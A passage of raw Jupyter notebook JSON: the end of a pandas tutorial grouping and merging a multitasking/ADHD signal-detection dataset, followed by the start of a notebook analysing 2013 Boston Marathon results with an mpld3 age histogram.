<th>adhd</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>count</th>\n", " <td>136.000000</td>\n", " <td>136.000000</td>\n", " <td>136.000000</td>\n", " <td>136.000000</td>\n", " <td>136.000000</td>\n", " </tr>\n", " <tr>\n", " <th>mean</th>\n", " <td>72.676471</td>\n", " <td>2.382353</td>\n", " <td>0.350679</td>\n", " <td>0.081603</td>\n", " <td>1.133846</td>\n", " </tr>\n", " <tr>\n", " <th>std</th>\n", " <td>41.664779</td>\n", " <td>1.651302</td>\n", " <td>0.153422</td>\n", " <td>0.073607</td>\n", " <td>0.566277</td>\n", " </tr>\n", " <tr>\n", " <th>min</th>\n", " <td>2.000000</td>\n", " <td>0.000000</td>\n", " <td>0.057692</td>\n", " <td>0.009804</td>\n", " <td>0.047920</td>\n", " </tr>\n", " <tr>\n", " <th>25%</th>\n", " <td>38.500000</td>\n", " <td>1.000000</td>\n", " <td>0.250000</td>\n", " <td>0.029412</td>\n", " <td>0.712359</td>\n", " </tr>\n", " <tr>\n", " <th>50%</th>\n", " <td>73.000000</td>\n", " <td>2.000000</td>\n", " <td>0.326923</td>\n", " <td>0.058824</td>\n", " <td>1.094755</td>\n", " </tr>\n", " <tr>\n", " <th>75%</th>\n", " <td>108.500000</td>\n", " <td>4.000000</td>\n", " <td>0.442308</td>\n", " <td>0.107843</td>\n", " <td>1.545407</td>\n", " </tr>\n", " <tr>\n", " <th>max</th>\n", " <td>142.000000</td>\n", " <td>5.000000</td>\n", " <td>0.788462</td>\n", " <td>0.362745</td>\n", " <td>2.478890</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum adhd hitRate faRate dprime\n", "count 136.000000 136.000000 136.000000 136.000000 136.000000\n", "mean 72.676471 2.382353 0.350679 0.081603 1.133846\n", "std 41.664779 1.651302 0.153422 0.073607 0.566277\n", "min 2.000000 0.000000 0.057692 0.009804 0.047920\n", "25% 38.500000 1.000000 0.250000 0.029412 0.712359\n", "50% 73.000000 2.000000 0.326923 0.058824 1.094755\n", "75% 108.500000 4.000000 0.442308 0.107843 1.545407\n", "max 142.000000 5.000000 0.788462 0.362745 2.478890" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.describe()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Grouping Data\n", "Next, we will learn how to group data based on certain variables of interest.\n", "\n", "We will use the `groupby()` function in `pandas`, which will automatically group any subsequent actions called on the data. " ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>adhd</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " </tr>\n", " <tr>\n", " <th>groupStatus</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>HMM</th>\n", " <td>74.852941</td>\n", " <td>2.941176</td>\n", " <td>0.345023</td>\n", " <td>0.088235</td>\n", " <td>1.032845</td>\n", " </tr>\n", " <tr>\n", " <th>LMM</th>\n", " <td>70.500000</td>\n", " <td>1.823529</td>\n", " <td>0.356335</td>\n", " <td>0.074971</td>\n", " <td>1.234847</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum adhd hitRate faRate dprime\n", "groupStatus \n", "HMM 74.852941 2.941176 0.345023 0.088235 1.032845\n", "LMM 70.500000 1.823529 0.356335 0.074971 1.234847" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.groupby([\"groupStatus\"]).mean()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can group data by more than one factor. Let's say we're interested in how levels of `adhd` interact with `groupStatus` (multitasking: high or low). \n", "\n", "We will first make a factor for `adhd` (median-split), and add it as a grouping variable using the `cut()` function in `pandas`:\n" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [], "source": [ "df[\"adhdF\"] = pd.cut(df[\"adhd\"],bins=2,labels=[\"Low\",\"High\"])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we'll check how evenly split these groups are by using `groupby()` the `size()` functions:" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "groupStatus adhdF\n", "HMM Low 24\n", " High 44\n", "LMM Low 46\n", " High 22\n", "dtype: int64" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.groupby([\"groupStatus\",\"adhdF\"]).size()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we'll calculate some summary info about these groups:" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>adhd</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " </tr>\n", " <tr>\n", " <th>groupStatus</th>\n", " <th>adhdF</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">HMM</th>\n", " <th>Low</th>\n", " <td>82.500000</td>\n", " <td>1.083333</td>\n", " <td>0.286859</td>\n", " <td>0.084967</td>\n", " <td>0.818802</td>\n", " </tr>\n", " <tr>\n", " <th>High</th>\n", " <td>70.681818</td>\n", " <td>3.954545</td>\n", " <td>0.376748</td>\n", " <td>0.090018</td>\n", " <td>1.149595</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">LMM</th>\n", " <th>Low</th>\n", " <td>72.478261</td>\n", " <td>0.913043</td>\n", " <td>0.388796</td>\n", " <td>0.078005</td>\n", " <td>1.302366</td>\n", " </tr>\n", " <tr>\n", " <th>High</th>\n", " <td>66.363636</td>\n", " <td>3.727273</td>\n", " <td>0.288462</td>\n", " <td>0.068627</td>\n", " <td>1.093670</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum adhd hitRate faRate dprime\n", "groupStatus adhdF \n", "HMM Low 82.500000 1.083333 0.286859 0.084967 0.818802\n", " High 70.681818 3.954545 0.376748 0.090018 1.149595\n", "LMM Low 72.478261 0.913043 0.388796 0.078005 1.302366\n", " High 66.363636 3.727273 0.288462 0.068627 1.093670" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.groupby([\"groupStatus\",\"adhdF\"]).mean()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### A note on piping / stringing commands together\n", "\n", "In R, we often use the pipe `%>%` to string a series of steps together. We can do the same in Python with many functions in a row.\n", "\n", "This is how we're able to take the output of `df.groupby([\"groupStatus\",\"adhdF\"])` and then *send that output* into the `mean()` function" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "## Extra: Working with a Long Dataset \n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This is a repeated measures (\"long\") dataset, with multiple rows per subject. This makes things a bit tricker, but we are going to show you some tools for how to work with \"long\" datasets." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### How many unique subjects are in the data?" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "68" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "subList = df[\"subjNum\"].unique()\n", "nSubs = len(subList)\n", "nSubs" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### How many trials were there per subject?\n" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>nTrials</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>2</td>\n", " <td>2</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>5</td>\n", " <td>2</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>6</td>\n", " <td>2</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>9</td>\n", " <td>2</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>10</td>\n", " <td>2</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum nTrials\n", "0 2 2\n", "1 5 2\n", "2 6 2\n", "3 9 2\n", "4 10 2" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "nTrialsPerSubj = df.groupby([\"subjNum\"]).size().reset_index(name=\"nTrials\")\n", "nTrialsPerSubj.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Combine summary statistics with the full dataframe\n", "\n", "For some analyses, you might want to add a higher level variable (e.g., subject average `hitRate`) alongside your long data. We can do this by summarizing the data in a new dataframe and then merging it with the full data." ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>avgHR</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>2</td>\n", " <td>0.326923</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>5</td>\n", " <td>0.403846</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>6</td>\n", " <td>0.634615</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>9</td>\n", " <td>0.173077</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>10</td>\n", " <td>0.211538</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum avgHR\n", "0 2 0.326923\n", "1 5 0.403846\n", "2 6 0.634615\n", "3 9 0.173077\n", "4 10 0.211538" ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "avgHR = df.groupby([\"subjNum\"])[\"hitRate\"].mean().reset_index(name=\"avgHR\")\n", "avgHR.head()" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>subjNum</th>\n", " <th>groupStatus</th>\n", " <th>adhd</th>\n", " <th>hitRate</th>\n", " <th>faRate</th>\n", " <th>dprime</th>\n", " <th>adhdF</th>\n", " <th>avgHR</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.711538</td>\n", " <td>0.068627</td>\n", " <td>2.043976</td>\n", " <td>High</td>\n", " <td>0.634615</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>6</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.557692</td>\n", " <td>0.068627</td>\n", " <td>1.631213</td>\n", " <td>High</td>\n", " <td>0.634615</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " <td>High</td>\n", " <td>0.211538</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>10</td>\n", " <td>HMM</td>\n", " <td>4</td>\n", " <td>0.211538</td>\n", " <td>0.166667</td>\n", " <td>0.166327</td>\n", " <td>High</td>\n", " <td>0.211538</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>14</td>\n", " <td>HMM</td>\n", " <td>5</td>\n", " <td>0.134615</td>\n", " <td>0.088235</td>\n", " <td>0.246866</td>\n", " <td>High</td>\n", " <td>0.211538</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " subjNum groupStatus adhd hitRate faRate dprime adhdF avgHR\n", "0 6 HMM 4 0.711538 0.068627 2.043976 High 0.634615\n", "1 6 HMM 4 0.557692 0.068627 1.631213 High 0.634615\n", "2 10 HMM 4 0.211538 0.166667 0.166327 High 0.211538\n", "3 10 HMM 4 0.211538 0.166667 0.166327 High 0.211538\n", "4 14 HMM 5 0.134615 0.088235 0.246866 High 0.211538" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df = df.merge(avgHR,on=\"subjNum\")\n", "df.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You should now have an `avgHR` column in `df`, which will repeat *within* each subject, but vary *across* subjects.\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Next:** [Plotting in Python](/tutorials/python/4-plotting/)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.8.3" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

llimllib/bostonmarathon

analysis.ipynb

1

927103

{ "metadata": { "name": "", "signature": "sha256:d0bb5b08932de23d2f78034fce52a8de76fa9f7d08c6cd9722efff46f2c6e122" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "\n", "import cPickle\n", "import matplotlib.pyplot as plt\n", "import matplotlib\n", "import mpld3, mpld3.plugins\n", "import numpy as np\n", "from collections import Counter\n", "import pandas as pd\n", "import seaborn\n", "\n", "pd.set_option('display.mpl_style', 'default') # Make the graphs a bit prettier\n", "plt.rcParams['figure.figsize'] = (15, 5)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 133 }, { "cell_type": "code", "collapsed": false, "input": [ "runners = cPickle.load(file(\"results/2013/results.pkl\"))" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 12 }, { "cell_type": "code", "collapsed": false, "input": [ "runners[\"1\"]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 3, "text": [ "{'10k': u'0:30:54',\n", " '20k': u'1:01:31',\n", " '25k': u'1:17:16',\n", " '30k': u'1:32:58',\n", " '35k': u'1:48:47',\n", " '40k': u'2:04:46',\n", " '5k': u'0:15:54',\n", " 'age': u'30',\n", " 'bib': u'1',\n", " 'city': u'Kenya',\n", " 'country': u'KEN',\n", " 'ctz': u'',\n", " 'division': u'5',\n", " 'gender': u'M',\n", " 'genderdiv': u'5',\n", " 'half': u'1:04:54',\n", " 'name': u'Korir, Wesley',\n", " 'official': u'2:12:30',\n", " 'overall': u'5',\n", " 'pace': u'0:05:04',\n", " 'state': u''}" ] } ], "prompt_number": 3 }, { "cell_type": "code", "collapsed": false, "input": [ "def bar(xs, ys):\n", " fig = plt.figure(figsize=(8,5))\n", " ax = fig.add_subplot(111, axisbg='#EEEEEE')\n", " ax.grid(color='white', linestyle='solid')\n", " ax.bar(xs, ys, fc='lightblue', alpha=0.8, edgecolor=\"white\")" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 4 }, { "cell_type": "code", "collapsed": false, "input": [ "ages = Counter(int(x['age']) for x in runners.itervalues())\n", "xs = range(min(ages.keys()), max(ages.keys()))\n", "ys = [ages[i] for i in xs]\n", "bar(xs, ys)\n", "mpld3.display()" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "\n", "\n", "<style>\n", "\n", "</style>\n", "\n", "<div id=\"fig_el1261143630900641735846769\"></div>\n", "<script>\n", "function mpld3_load_lib(url, callback){\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = true;\n", " s.onreadystatechange = s.onload = callback;\n", " s.onerror = function(){console.warn(\"failed to load library \" + url);};\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", "}\n", "\n", "if(typeof(mpld3) !== \"undefined\" && mpld3._mpld3IsLoaded){\n", " // already loaded: just create the figure\n", " !function(mpld3){\n", " \n", " mpld3.draw_figure(\"fig_el1261143630900641735846769\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423510992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423533136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423534800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423536464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423550480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423552144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423562064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423563728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423565008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423579408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423581072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423599184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423600848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423602128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data10\", \"id\": \"el126114423616528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423618192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423628112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423629776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423643792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423645456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423647120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423661136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423662800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423676816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423678480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423679760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423690064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114423691728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423709840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423711504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, 